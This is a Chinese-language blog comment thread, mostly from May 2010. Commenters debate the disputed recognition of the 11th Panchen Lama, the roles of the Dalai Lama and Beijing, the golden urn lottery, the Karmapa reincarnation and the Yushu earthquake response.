        五月 20, 2010 at 10:10 上午

        什么叫真正自治? 我个人觉得这个名词有些问题。其实,所谓自治是一个渐变的名词。我个人觉得应该讲,那些权力如何办?那些权力如何办?而不是,一刀切,说这个是假自治,那个是真自治。

        还有民主的问题,其实你要仔细观察的话,我觉得关键还是宪政,而不是民主。所谓宪政也就是统治集团按规矩办,努力照顾社会各阶层的利益,在社会各阶层之间达到平衡。我在加拿大这个国家生活越久,越是觉得人家的政治制度本身就是和许多东西结合在一起,单纯把政治制度给抓出来,然后认为是灵丹妙药,一民主就灵,一自治就灵。我觉得是太幼稚了。

        不要把民众放到太高,我觉得对所谓“人民”的吹捧恐怕是共产党对我们愚民教育的一部分而已。我是不太相信所谓的人民的,在中国现阶段,人民大都是愚昧的,容易被煽动的。你也可以把我这种心理所成是对民众的恐惧了。

        共产党目前的统治类似一个核反应堆,完全放权给所谓的民主和自治的话,我个人认为爆发民族仇杀的可能性很大。因为对大多数愚民来说,什么是民主,什么是权利,什么是责任,什么是义务,什么是法治,全无概念,心里唯一有概念的就是,所谓非我族类,其心必异。到时候必然沦为,你杀我,我杀你。而共产党又不可能将老百姓教育成公民,而他就必须用武力来控制。所以,只能做一天和尚,撞一天钟了。

  14. 路过发一言

    五月 20, 2010 at 12:37 上午

    er的分析比较有见地。不过就我的猜测,十一世班禅失去影响力的当前现状,未必不是北京和达兰萨拉双方期待的结局,尽管这显然不是藏人的心愿。

    就达赖喇嘛或流亡藏人一方来说,不做协商就单方面宣布班禅灵童的选择问题,未必就没有预料到北京后来的暴怒以及对转世灵童带来的影响;但是双方都认可、得到境内外藏人一致尊敬的十一世班禅,如果在共产党的监护下长大,未必对达兰萨拉有利,作为藏民族“双子星”中的一个,多多少少会分流掉一部分达赖喇嘛的影响力,就如同十世班禅所起到的作用。

    至于北京,其实也未必期望一个从宗教到政治都具有巨大影响力的十一世班禅,即便灵童由他们选择、也在他们监护下长大,但宗教上师却不可能由一个共产党员来担任,所以很多事情依然是不可控的,未来的十一世班禅究竟会不会象十七世葛马巴那样出走,又有谁能够确定呢?若非如此,共产党政府选择的十一世班禅又怎会长期被羁绊在北京?显然即便是北京选定的十一世班禅,也并没有得到100%的信任。政治花瓶就政治花瓶吧,也许缺乏政治影响力的宗教领袖正是共产党政府所希望的。

    可以预计,未来的每一位重要活佛转世,都会是多胞胎,越是混乱就越能够降低转世灵童的影响力;其实就我看来,谁选择并不重要,未必就能够影响活佛未来的倾向性,只要得到藏人的一致认可,即便是象十世班禅大师这样被认为“亲中国”的宗教领袖,依然能够为藏民族做不少事。

  15. 比目鱼

    五月 20, 2010 at 6:56 上午

    各位的帖子都有独特视角,给人以启发。我更加赞同丁一夫的帖子,因为他能从藏人的心理特征和价值观出发,来思考问题。汉人古语:知彼知己,百战不殆。是的,共产党是有权有钱,但仅仅是仗着有权有钱,就任意妄为,其后果堪忧,甚至会和中共的初衷背道而驰。
    我认为西藏独立不可行,自治甚至更不可行。假设西藏自治了,汉地各省也开始要人权,要公平,共产党的领导会被急速动摇。
    台湾中共没办法搞定,香港和澳门不得不给予高度自治。西藏再自治的话,中共就根本压不住阵脚了。
    我在想,假设在香港成立党委,人民政府,配齐人大政协和工青妇,实行四项基本原则,不出两年,香港一定社会大大倒退。我在想,西方白人不是过得好嘛,好,给他们输入中国共产党,实行党的领导,保证整得他们跳。
    以上两段只是笑话。解解闷,请各位理解,不要介意。
    回到十一世班禅灵童认定。根据我个人对中国政治操作的理解,针对er的帖子,我认为当时共产党即便有权,也根本没办法对达赖喇嘛封锁消息,而全程单方操作灵通认定。因为,寻访灵童是件浩大,细致的工作,由达赖喇嘛主持,加上境内的格鲁派高僧配合,才符合宗教仪轨,没有达赖喇嘛的主持的灵通认定是件极为滑稽之事,做了也没有任何意义。
    班禅灵通的认定是个死结。“达赖是人民公敌”是中共一如既往的定性。任命人民公敌提出的人选,不符合共党逻辑,也没法对自己和党外人士交代。对于达赖喇嘛,共党可不是文殊菩萨转世的清朝皇帝,奉藏传佛教为国教,而是侵略西藏,逼迫自己不得不流亡海外的邪恶政权。在这个问题上,双方不可能调和。

  16. 比目鱼

    五月 20, 2010 at 7:16 上午

    路过发一言:
    我个人对您帖子的前三段很赞同,只是第四段有不同感受。格鲁派转世灵通认定,本是派内事物,达赖喇嘛具有最终话语权。没有他点头,共党认了也白任。十世班禅大师我还算熟悉。他从文革复出后,强烈的民族主义,民族意识,从政治的角度,其实已经和中共分庭抗礼,渐成尾大不掉之势。我听过他数次讲话,教育西藏班的孩子要穿藏装,吃糌粑,不要忘了自己是藏人等等。我个人认为他在80-90年代的表现,是和中共不一致的。

  17. davidpeng

    五月 20, 2010 at 10:07 上午

    哈哈,这个问题讨论很激烈。从王力雄收集的中国普通网民对达赖喇嘛的提问中,也可以看到,第1和第4都和这个问题高度相关。

    在看过阿沛和阿嘉的回忆之后,我的想法发生了一点变化。在这件事情里面有三个参与方和三个复杂的关系,达赖喇嘛(及他代表的TGIE)和中国政府,班禅大师系统与中国政府,达赖喇嘛系统和班禅大师系统。上面的网友们谈到了第一个,而比目鱼谈到了第二个,即中国政府也力图在这一过程中,利用喇嘛转世制度的天然缺陷,增加对班禅系统的影响力。其实达赖喇嘛世系和班禅大师世系在近代史,直至今日,既合作又存在龃龉,这种关系在这段历史中也扮演了重要角色。

    基本的脉络是,班禅系统的僧人主导整个寻访过程,然后寻求其他有影响势力的认可。对于班禅系统来说,这种认可来自同属格鲁派的另一崇高和更高的达赖系统,也来自佛教圈之外的(中国)政府政治势力的认可。而清朝于18世纪末引入的“金瓶掣签”制度,巧妙地将这二者合二为一,一个公开的掣签制度,只需要达赖系统和政治代表(在清朝时驻藏大臣)在场,即可同时获得两方面的认可。而这个制度不符合现代宗教政治制度遴选领导人的思想,但是却极度契合藏人关于“神谕”的想法。(在此之前,如果对灵童发生争执,活佛是通过不那么公开的糌粑丸打卦来确定的。)“神”一定能够在掣签中发挥作用,选择真正的转世。这种制度的效果是如此之好(他提供了一个争端解决机制,如果没有异议,可能不用掣签;但只要有影响力的活佛提出异议,那就掣签解决),在达赖系统转世上可以看得非常清楚。从此之后,西藏贵族和藏传佛教高层不再纠结于谁当达赖喇嘛,选出一些没有显赫出身的达赖喇嘛,而将精力转移到控制达赖喇嘛本人,而达赖喇嘛就可怜地变为短寿龙。(与之对比,多位班禅大师均长寿)而在这个制度中,中国政府并非天然地一定扮演政治角色,关键在于谁扮演这个手握“金瓶”的政治角色。不奇怪,在9世班禅转世的争议中,拉萨政府手握“金瓶”,要求班禅系统将他们选择的青海灵童送往拉萨,和其他灵童一起参与“金瓶掣签”。你也可以想象,如果1959年,TGIE将金瓶也带到印度。

    细致地分析阿沛的回忆以及其他一切资料,你会看到,阿沛的建议是,“让达赖喇嘛也选择一个候选灵童,然后让这个候选灵童与其他灵童一起参与掣签。”这个建议和后来的发展不同。我不知道这个建议被恰扎和其代表的班禅系统否决,还是被达赖喇嘛否决。如果是前者,说明班禅系统对达赖喇嘛系统还有疑虑,他想让达赖喇嘛在这个里面扮演角色,但是也不想让达赖喇嘛扮演过多的角色;而如果是后者,说明达赖喇嘛不想参与太多班禅系统的事,或者是觉得这个建议矮化了他的角色。无论如何,这个事情在恰扎那儿,变成了“恰扎编列了灵童列表,他选定了灵童,他要求达赖喇嘛确认”(同时他也力图要求中国政府确认,无需金瓶掣签?)看到了,这是班禅系统希望的灵童选择过程。这个时候,如果有人用我上面说的话去游说中国政府,我认为是有可能避免金瓶掣签的。即“这个制度只是争端解决,在候选灵童无疑议的情况下无需使用,历史上既是如此。”中央政府如果要表达权威,只需要发文认可,同样可以达到目的。“金瓶掣签”反而是多此一举。当然,这种事情没有发生,据说中国政府仍然坚持“金瓶掣签”。

    这个事情真正的破局发生在达赖喇嘛的“首发”。Goldstein在文中对此表示极度不解。我也同样。阿嘉没有从达赖喇嘛系统得到更多的解释,只有这个牵强的“通讯不畅”。用这样的解释,说明达赖喇嘛那边的确发生了一些事情,但是不便公开,只能用某种理由搪塞。

    十六世噶玛巴转世也曾遇到类似情况。在噶玛巴转世中,同样存在这三个关系。而这中间基本脉络同样是,“噶玛巴系统内部寻找转世,然后寻求外部势力认可”。与班禅转世的结局不同,主导噶玛巴(邬金钦列多杰)转世的大司徒活佛和杰曹活佛妥善游弋于达赖喇嘛和中国政府之间,获得双方认可。我找不到具体资料,不知道他们是怎么干的,达赖喇嘛和中国政府谁先谁后,怎样保证双方都有面子。值得一提的是,因为历史上的噶玛巴转世并未要求达赖喇嘛和政治政府介入(当然也从来没用过金瓶),噶玛巴转世是由上一代喇嘛的遗嘱确定的,所以这种“认可”对于达赖喇嘛和中国政府来说,都是“增加了权威”,所以他们才如此合作。但是,达赖喇嘛和十六世噶玛巴的一些不和却影响了这次转世,出现了双胞案。当然,那是另外的故事了。

  18. davidpeng

    五月 20, 2010 at 11:03 上午

    新华社网站上有本《十一世班禅坐床记》,没看到啥有价值的内容,这也不是Goldstein的信息来源。

    唯一有点意思的是,在达赖喇嘛宣布他选择的班禅之前,嘉乐顿珠电话通知国内,可能就包括阿沛。

    1995年5月13日深夜,北京和西藏有关部门的负责同志分别接到达赖喇嘛长驻香港的代表,也就是十四世达赖的二哥嘉乐顿珠突然的电话通知,说达赖明日将正式宣布认定十世班禅转世灵童。

  19. sol

    五月 20, 2010 at 11:44 上午

    各位讨论颇为精彩,受教了。

    david 摘录的这段信息有意思,我是第一次听说达赖喇嘛一方提前通知北京即将宣布灵童一事(虽然不是提前很长时间)。不知北京得知此事后,有没有在这么短的时间内尝试与达赖喇嘛一方再沟通?达赖喇嘛一方既然选择提前通知,为什么又只给对方留这么短的反应时间?

    另外,作为此帖的读者,我说个回帖的技术问题(不好意思,偏题了,又不知放哪儿好)。我发现有的回帖是直接在别人的帖字下回复,有的是顺延作答。作为写帖人,应该不会觉得confused。作为读者,我个人prefer顺延作答,这样每次有更新,下看就是。

    还有,如果每个发言有个编号就好了,这样人多时候,回帖更明晰些,读者看得也方便。

    大家继续。

  20. davidpeng

    五月 20, 2010 at 12:16 下午

    此外,讨论班禅选择问题包括其他一些问题的时候,需要注意,从现代政治意义上来说,藏民族,藏区,旧拉萨政府,藏传佛教是个相当松散的统治模式。如果你从现代政治着手,认为清朝和西藏,民国和康区的隶属关系相当薄弱,那实际上的拉萨和各藏区地方的关系同样或者更加薄弱。在宗教上,如果涉及到不同教派,或者同一教派的不同世系,这种隔离和自治是很明显的。

    所以,比目鱼说的“由达赖喇嘛主持班禅选择”是个假议题。这种情况,在达赖系统和班禅系统关系良好的情况下,可能双方会互相介入得多一些,但是很多也只是名义性的,具体的寻访事务是由各自系统的人来主持的;而在双方关系不好的时候,更是无从置喙,九世班禅的转世就是个很明显的例子。

    事实上,流亡藏人的这种历史和现实诠释,包括现在这种“大藏区”的团结局面,在很大程度上是在“中国共产党政府”这个强大外力的作用下形成的。回到民国时候,外力压迫较弱,内部各教派,以及拉萨政府辖区外的藏区对于格鲁派和拉萨政府是非常警觉的。他们认为,外来的汉人和政府无论如何,只能在表面上统治,是无法威胁到他们在本地的利益的;而拉萨政府同文同种,他们对当地的威胁是实实在在的。

    我知道有藏族人会批评说这是玩统战或者分而治之的一套,我非政府,无意如此,只不过是指出研究者讨论者需要注意的情况。

  21. davidpeng

    五月 20, 2010 at 12:16 下午

    @sol,我以前用的别的wordpress的theme,好像评论是有序号的,我再找找试试看。

  22. davidpeng

    五月 20, 2010 at 12:37 下午

    我更换了一个theme,不如以前那个看着素净,但是有评论序号了。

    如果各位有意见建议的请发言。

  23. 丁一夫

    五月 20, 2010 at 8:40 下午

    “这段破局,却给后面的十六世噶玛巴转世带来了好处。在噶玛巴转世中,同样存在这三个关系。而这中间基本脉络同样是,“噶玛巴系统内部寻找转世,然后寻求外部势力认可。”由于班禅转世的教训,主导噶玛巴(邬金钦列多杰)转世的大司徒活佛和杰曹活佛得以妥善游弋于达赖喇嘛和中国政府之间,获得双方认可。”

    看得我糊涂了。

    • davidpeng

      五月 20, 2010 at 8:45 下午

      你说得对,我把时间先后关系弄错了。这段已经修改,多谢指教。

  24. stratus007

    五月 21, 2010 at 11:43 下午

    “这段破局,却给后面的十六世噶玛巴转世带来了好处。在噶玛巴转世中,同样存在这三个关系。而这中间基本脉络同样是,“噶玛巴系统内部寻找转世,然后寻求外部势力认可。”由于班禅转世的教训,主导噶玛巴(邬金钦列多杰)转世的大司徒活佛和杰曹活佛得以妥善游弋于达赖喇嘛和中国政府之间,获得双方认可。”

    看得我糊涂了。
    *******************
    这里是david笔误,应该指十七世吧.

    我好奇的是,当时大司徒回国多方活动是中共允许的,但是十七世大宝坐床后,又不允许他回藏传法导致最终大宝出走,不知道中共又是怎么想的?(是否也与班禅灵童事件被达赖喇嘛方面抢先公布有关?).话题有点扯远了.

  25. stratus007

    五月 22, 2010 at 12:27 上午

    各位关于十一世班禅失去影响力是达兰萨拉和北京双方的愿望真令我耳目一新。

    玉树地震时我还在批评中共完全没有危机公关意识。我比较过几方的反应:
    1.达赖喇嘛和大宝法王在4.14地震当天就发表了声明哀悼并表示将举行法会超度
    2.北京班禅迟至4.16日才有声明,当时的CCTV和广播都只提到班禅表示捐款却只字不提超度法会。我在上网找资料是才看到班禅的声明全文最后有要求扎什伦布寺举行超度法会等字眼,明显是中央媒体省略了。

    关于他迟到的声明,我们几个朋友聊天时说起,有朋友开玩笑说,估计当时突然地震中南海一片混乱,根本无人想起小班禅,等想起来,他又不敢自己胡乱说话,等草拟的稿子经过层层审批,三天已经是最快的速度了。当时我还批评中共没头脑,如果那时小班禅亲临玉树慰问灾民,无疑会大大增加他在藏地的权威以消除藏人对“汉班禅”的不信任,中共这样的做法难道不也是一种笼络(藏)人心吗?更何况还可以反击外界对中共不允许达赖喇嘛去玉树的指责。

  26. 路过发一言

    五月 22, 2010 at 2:35 上午

    藏人不信任“汉班禅”,会是个问题;但若藏人完全接受认可了“汉班禅”,对北京来说恐怕会有更大的问题。比目鱼用的词“尾大不掉”,可以很好地形容北京的这种尴尬。

    毕竟,在没有另外一种强大宗教的情况下,没有人是可以被真正洗脑的,包括那些民族主义的中国年轻人。

  27. davidpeng

    五月 22, 2010 at 11:23 上午

    @stratus007,

    这个其实我也考虑到了。中国政府早就应该让他的11世班禅和嘉木祥活佛到玉树去了,而不仅仅是在西黄寺搞超度。

    网上有一封据说“十万藏人”要求达赖喇嘛到灾区慰问灾民的请求,我最早在博讯看到的。刚才查了一下,有两个版本(12,我看到的第2个,这个似乎是在第一个的基础上改的。

    第二个版本有个突出的地方是提到了“班禅达赖两位活佛”。所以中国政府完全可能要求达赖喇嘛如果回藏举行法会的话,和“汉班禅”共同举行。而这一点恐怕是达赖喇嘛目前无法接受的。洛迪提到目前达赖喇嘛正在与中国政府讨论在6月1日七七的时候或者在一周年的时候访问玉树,我相信这个问题一定会被提到。1951年的历史似乎又重演了,班禅问题又一次横亘在中国政府和达赖喇嘛之间。我个人觉得,更务实的做法是让达赖喇嘛的使者访问灾区,这个比较容易达到,没有太多问题。

    达赖喇嘛在昨天的和王力雄的交流中,用有些距离,而有不失礼貌的方式谈到中国政府认定的班禅十一世,似乎意味着至少尊敬而不否认的态度。不过从中国政府的角度看,甚至承认两个“班禅”都是极度困难的事情。此事将会如何进行,还有待观察。

    历史如果能够重演,中国政府能够不那么坚持“金瓶掣签”,甚至中国政府如丁一夫所言,“咽下那口气”,认可达赖喇嘛认定的班禅,我觉得现在的情况都会好的多。可惜,历史永远不能够再来,而我们只能放眼未来了。

    • stratus007

      五月 25, 2010 at 12:40 下午

      @David,

      历史确实不能重演,或许达兰萨拉也曾经后悔过当初的决定,如果仿效当年认证第十七世噶玛巴的做法等北京宣布后再认证,也不是完全不可操作,毕竟班禅始终是藏人,他受的佛法教育和围绕他的经师都是符合西藏传统的,虽然他不可能如噶玛巴般出走(防范肯定更加严密),但是谁也不会预料将来他是否会如他的前世十世班禅大师那样为藏民利益而奋斗…

      考虑玉树的问题,我觉得目前中共绝无可能让尊者的代表访问藏区(网上有人提出最好的人选是他妹妹),他们一定没有忘记尊者代表团第一次访问藏区时受到藏民的轰动程度,这也是为何最近一次代表团访问根本没有去藏区(我没记错吧?).另外中共针对这次喇嘛地震救人的秋后算帐做法更使得访问这一方案不可实现.

      色达五明佛学院在地震发生后的第二天(4.15),寺院负责人就带领四十八人的先谴队奔赴灾区,随身携带的钱款高达160多万.随后几天,支援灾区的僧人、物资、资金等源源不断;到4.19日,包括负责去现场超度的僧人已经达五千人,筹集发放的现款逾300多万并详细记录死难者名单和拍摄录像作为记录。中共一定对他们短时间内如此组织有方,调动有度,考虑全面及与藏民之间骨肉相连的密切关系印象深刻,在我们眼里此种行为与关系可能令人深为感动,在中共眼里基本就是威胁(想想他们最初是怎么对法轮功震惊的)。多年来中共的一切行为就是要淡化宗教和民族信仰在藏民心中的地位,未了如今一切努力均为白费,管理地方政府和民族宗教事物的官员一定会加紧防范,怎么可能对尊者代表网开一面呢?

  28. 老百姓

    五月 25, 2010 at 4:39 上午

    看到这些留言我觉得奇怪!不客气说我觉得说十一世班禅不受认可有点自欺欺人!

    班禅额尔德尼·确吉杰布在中国很受爱戴!作为一个湖南人我和朋友们都很喜爱班禅额尔德尼·确吉杰布!

    在网上查一下就知道啊!

  29. stratus007

    五月 25, 2010 at 10:46 上午

    @老百姓

    您去过藏区吗?如果您去过,一定会注意到在各大大小小的寺庙中,无一例外会有一个空的宝座(如果您问里面的工作人员或僧尼,这是谁的法座,回答必定是达赖喇嘛),另外大部分的寺庙(尤其是格鲁派)里也供奉着第十世班禅大师的法相.藏区满大街卖画像的店里,到处都是各位法王和高僧的法像(除第十四世达赖喇嘛,因不被允许),还包括十世班禅及其妻女,第十七世噶玛巴,甚至毛邓江胡的画像.

    然而,寺庙中只有在扎什伦布寺和日喀则的大街上,偶然才能发现一两张北京认可的第十一世班禅大师法相.

    另外,您也可以看一下最近达赖喇嘛在回答推友关于对班禅额尔德尼·确吉杰布的看法:

    “据我的了解,他是蛮聪明的,在佛法上也很努力,但是民众对他还抱有一种怀疑的态度,我认为这主要得靠自己,能否在佛法讲修上做一个有贡献的人,这是很重要的,这是要靠自己的。”

    原文如下:
    http://wanglixiong.com/2010/05/17.htm

  30. 过路人

    五月 25, 2010 at 7:32 下午

    在一个片子《西藏一年》当中,中央政府认可的小班禅,去藏区的寺院访问,当地的民众也排队欢迎他,接受他的摸顶赐福。从片子里,没有看出这些藏民是被强迫去的。而且,寺院里的和尚们也挺认可小班禅的,虽然有点政治任务的意味,但也看出他们是真心诚意的准备各种仪仗物品,欢迎十一世班禅。

    不知道你们有没有看过这个片子?

    • er

      五月 27, 2010 at 8:40 上午

      我看过,其实挺简单的,主要看僧侣集团认同否。

      各种僧侣集团有自己的考虑,至少不敢与共产党公开作对。

      而老百姓嘛,坦率地讲就是跟着走的。

  31. 过路人

    五月 28, 2010 at 5:10 上午

    流亡藏人方面,多承认这个小班禅也是高僧转世,但是多不愿意承认他就是班禅喇嘛。

    听到一个流亡藏僧认为他绝对不是真正的班禅转世。依据大致是这样的:因为他受过达赖喇嘛的灌顶,几乎完全听从上师的话,不然他恐怕要犯密乘戒。所以基本上流亡藏僧对小班禅的认同还是跟从达赖喇嘛的。

    在国内藏区的寺院,如果寺院活堪布去印度受过达赖喇嘛的灌顶,恐怕也要跟着他走,明显不会在寺院里面挂这个小班禅的法像,比如国内色达地区某著名的宁玛派寺院,去过人的说看不到这个小班禅的法像。原因可能是他们的活佛早年去过印度受灌顶。

    藏区精进严肃的修行人,传统上对灌顶要受的密乘戒,守护是很严格的。在任何事情上,也绝不会和金刚上师唱反调。

  32. 王老板

    三月 9, 2014 at 6:11 上午

    诸位,根本不了解藏人 , 也不了解现在内地的汉人。。

    首先 关于所谓 汉班禅的认同 完全不用担心。 其实 ,认不认同 不是看普通藏人怎么想 而是看拉寺的人怎么想 。 应该现在拉寺的人 都受过汉班禅灌顶了 ,所以 未来 一定是他了。 藏人 其实不是信中国政府 更不是信尊者。。信的是神寓。 谁选的不重要, 有缘 并能一直坐下去 。 就能接受 。 再等十年 能看到效果。

    而 内地政务 看似无能,, 可很多事回过头来看看, 颇有点 大智若愚的味道。 大巧似拙 。玉树未必 就是无心之失。 也许 就是存心不想 国难时刻 任何人能 捞取政治资本。

    再怎么称谓 汉尊者 其实 那神王 也是MADE IN 西藏

    从远在印度神王那边来说。 提前宣布 这个结果。 其实 最简单了, 就是刻意的。 一石三鸟 何乐而不为 。。 不过人家 不会傻到 上面某位朋友说的 借此试探中共反应的想法。 相反 神王这方是可以料定中共一定会不予承认,另寻高人的 。。。所以 他们选择了 提前通知 但是却不给反应时间的原因。

    为什么?? 今天很累 明天带大家 说说。。

    • lisa

      五月 13, 2017 at 5:00 上午

      对您的高见很感兴趣,请继续说啊
      班禅已经成功举办了时轮金刚灌顶了,意义不言自明,未来已经是十一世班禅的了

Viewing all 764 articles
Browse latest View live